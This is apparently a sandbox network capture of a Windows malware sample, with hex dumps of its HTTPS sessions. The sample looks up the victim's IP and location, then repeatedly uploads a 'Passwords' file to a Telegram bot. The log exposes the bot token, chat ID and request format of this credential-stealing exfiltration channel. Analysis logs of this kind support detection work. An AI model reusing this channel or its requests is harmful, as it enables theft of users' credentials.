nKGZ4]kxndD]k/GhpR+oG2E)I1R):!w,+=tc$77nS&Z?~*t/c)kVC{kn(WAvyuF[t'YQ7hvZkJSK[VX ,ob_'36{
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: 80 c8 70 a9 39 ac 42 a6 37 62 8a 03 b0 fa f4 e0 89 4c 7b de f4 1d a2 22 ea 5a 80 9f cd d8 0a 22 90 67 fc 05 db 96 1b 95 8c fa 9c e2 e5 5c c8 13 a5 74 27 22 1e 32 08 2a 09 23 4f 81 84 3d be 76 cc ad b2 f3 86 78 76 eb 94 82 d3 df 77 39 cc 12 89 a6 37 c8 d3 fc 81 24 72 19 4e 14 ec 50 2a bc 5c 69 70 0c 34 0e 49 9f dd f7 dc 9b c0 1e ff b5 e1 28 1a f2 5d f1 3f 5f 4f 86 10 ca ae c0 a5 34 bb a9 85 13 73 36 e8 f1 76 d4 18 33 dd 95 ec a4 d2 f5 60 a1 86 46 9d a6 3d ad 91 61 da 47 25 1f 00 f4 09 b3 e1 da 73 78 90 4c 9d 84 48 01 b4 05 68 5f a8 c0 df 51 27 79 b3 e1 33 3c bb 3d 19 09 a5 9c 27 b0 d2 7e bb 60 fe e0 e5 c3 6e d4 07 b8 11 60 32 8d ff 4f e0 ca 71 29 75 a8 63 d2 b3 5e fa d9 fc a5 94 c3 80 3f 8e ca 6a 52 7c 0d 37 fe a4 50 ad 59 8f ba 6c 05 08 b6 21 33 1b cf b6 Data Ascii: p9B7bL{"Z"g\t'"2#O=vxvw97$rNP\ip4I(]?_O4s6v3`F=aG%sxLHh_Q'y3<='~`n`2Oq)uc^?jR\|7PYl!3
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: c0 fd 7e d0 52 b9 6a 3c 75 30 12 97 86 db f0 38 1a 9d bd b3 4a e4 a9 79 4d 71 31 3c 87 14 12 5e 6c 60 f8 2b 59 ab bf 0a 34 27 fe 11 6d 4f 18 d6 e1 6f e7 9e ed 86 b5 68 ab d4 73 0a fa c3 79 e2 f0 a2 20 76 38 55 95 0b 0d 92 b1 2e 4b da 30 a8 06 0a e7 82 35 41 68 0f 19 f6 bf 81 2d 63 e9 5e 9c f8 25 dc cd 1b 21 8f a6 95 55 5c 87 c9 e5 9a 60 02 c3 17 50 23 96 1b 61 dd 92 3a a6 42 42 93 f8 2e c8 cc 97 90 a2 6b 2f c9 7d a1 d2 4c a2 53 19 84 b2 dd ee 10 a2 d0 b3 29 5b a4 d7 21 a8 46 e0 ae d1 a2 01 da 9d 4b 90 74 f9 bb d6 c3 4f bf 92 d9 2b 65 2f 0a c1 a3 c0 c4 ca ab 99 c2 89 1c 74 72 12 a9 70 43 59 f4 59 7c bf f7 06 ac aa 0e 02 6e d0 69 5f 72 13 cf 9f dd 98 4c ce e7 56 31 b8 13 65 97 c5 4f 30 fe 01 5a aa aa 1b c6 32 51 85 a2 ed 25 92 bb 27 d0 6c de 1b a9 20 42 1d Data Ascii: ~Rj<u08JyMq1<^l`+Y4'mOohsy v8U.K05Ah-c^%!U\`P#a:BB.k/}LS)[!FKtO+e/trpCYY\|ni_rLV1eO0Z2Q%'l B
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: 57 ec 8b d3 63 a5 35 8e e3 d7 11 64 3d a6 04 5a 24 0b 68 6a dd e0 90 64 63 ab bc db e9 cf f2 06 03 6f 95 5b 04 c9 0c 00 08 e7 18 32 a6 2f c4 03 aa 9d 67 cb bc 93 98 eb 43 59 56 0e 3c fe 37 d4 c1 aa c8 37 fe c3 3b c2 6b 5d 8f d6 0e f4 8b 25 0f 04 40 7d 29 6f ca 07 6d b6 85 9c d6 54 76 0d 55 df 97 2e 21 f0 9a 37 1a d4 aa ec 32 c2 6d db bc 5b 4c 9e 86 d8 28 c0 bb 49 d9 ed 0d b3 7c 5a 4b 8a e1 f3 32 04 de cc d9 da 70 32 b7 cf 71 95 85 57 87 20 84 55 f8 fe 8c d5 69 78 95 bc fe 86 b0 73 41 1a d2 cb f6 04 a3 70 ec e1 eb 8b 92 03 6f 50 c7 f7 1d db d8 24 d6 00 3c fd 47 18 07 07 02 e5 e9 06 40 69 fc 37 17 e3 c0 48 77 63 c6 4e 3e 3d 4d c2 e8 b5 74 0f 17 22 7c 8d dd 7f 88 ca 12 a1 67 6f fc 61 af b9 86 5c 68 7e 2f f3 a4 4f dd fa b8 7d 15 d2 a8 d4 9f 90 36 18 80 ac 66 Data Ascii: Wc5d=Z$hjdco[2/gCYV<77;k]%@})omTvU.!72m[L(I\|ZK2p2qW UixsApoP$<G@i7HwcN>=Mt"\|goa\h~/O}6f
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: b8 a4 d7 94 c3 12 c2 d9 58 bf bd 1c 22 f3 b4 87 7b b1 f4 88 7b a9 2f e5 9e eb 80 fd 03 2f 91 c8 0e 16 28 ca 94 f0 30 fc 52 67 2d 1d c4 a3 01 9f eb bd 19 04 3d 75 70 93 8a 4e 04 d0 82 01 9e 32 5a 62 65 aa d2 45 13 9a f6 4f f7 05 7f 1a 36 90 26 b3 78 08 24 d6 e3 3e 8d af 29 c1 f4 b7 9b 86 67 0f c9 63 9e bc 8b 4f 33 ba 00 7c ea 16 9c 61 61 ad 93 89 a8 71 dc 82 5f 88 11 d3 e5 96 10 e7 b6 89 9d cd 46 d7 1b 92 6a 79 b1 f9 a0 e9 46 c1 c6 9a ca 73 d8 ac 28 c4 ea 68 a1 e1 e9 84 0a 64 f4 a8 d1 04 4d 9e a1 3b 8d cb 5b 14 d0 94 39 a8 4e 21 c2 56 3f 82 88 c5 a1 c1 63 b9 3d 5a 9d cc f4 8a 01 1b 64 17 a2 21 11 0f 04 03 e6 3f fd 1b d2 81 3f 60 23 31 a8 23 2d 12 3a b5 a0 e3 c3 35 d6 58 00 ce b4 31 6c 26 44 fa 94 8d 59 80 36 c5 8e b5 cf 8e de 2b cf c3 a8 89 bf 46 59 ac 10 Data Ascii: X"{{//(0Rg-=upN2ZbeEO6&x$>)gcO3\|aaq_FjyFs(hdM;[9N!V?c=Zd!??`#1#-:5X1l&DY6+FY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49843	104.21.48.1	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:03 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 20:17:03 UTC	861	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1855012 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=097kpYYyZ%2FoY8A8Gb%2F6jbDzv8ayr8F4%2BAy7puvlsojvcKw2RlW0C2f7brKdU2L%2B%2BQnGb7A8L57uE2S2koSB53VLSfuCL1QoJXLP5NirYYaF0gvscFWmhegRFUaZT%2FLHUp7Cd0LW4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff592ebeb88c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1853&min_rtt=1835&rtt_var=701&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1591280&cwnd=238&unsent_bytes=0&cid=198668ca285f2dab&ts=186&x=0"
2025-01-10 20:17:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49877	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:10 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3189d99afcd2 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:17:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 39 64 39 39 61 66 63 64 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3189d99afcd2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:10 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:10 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 33 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43540,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540230,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49893	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:12 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a02bcc4d72 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:17:12 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 30 32 62 63 63 34 64 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a02bcc4d72Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:12 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:12 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43541,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540232,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49906	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:13 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31b5093108a8 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:13 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 35 30 39 33 31 30 38 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31b5093108a8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:14 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:14 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43542,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540234,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49918	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:15 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31c9d79a2386 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:15 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 39 64 37 39 61 32 33 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31c9d79a2386Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:15 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:15 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43543,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540235,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49930	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:17 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31de974860ee Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 65 39 37 34 38 36 30 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31de974860eeContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:17 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:17 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43544,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540237,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49946	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:19 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f60959947b Host: api.telegram.org Content-Length: 1090
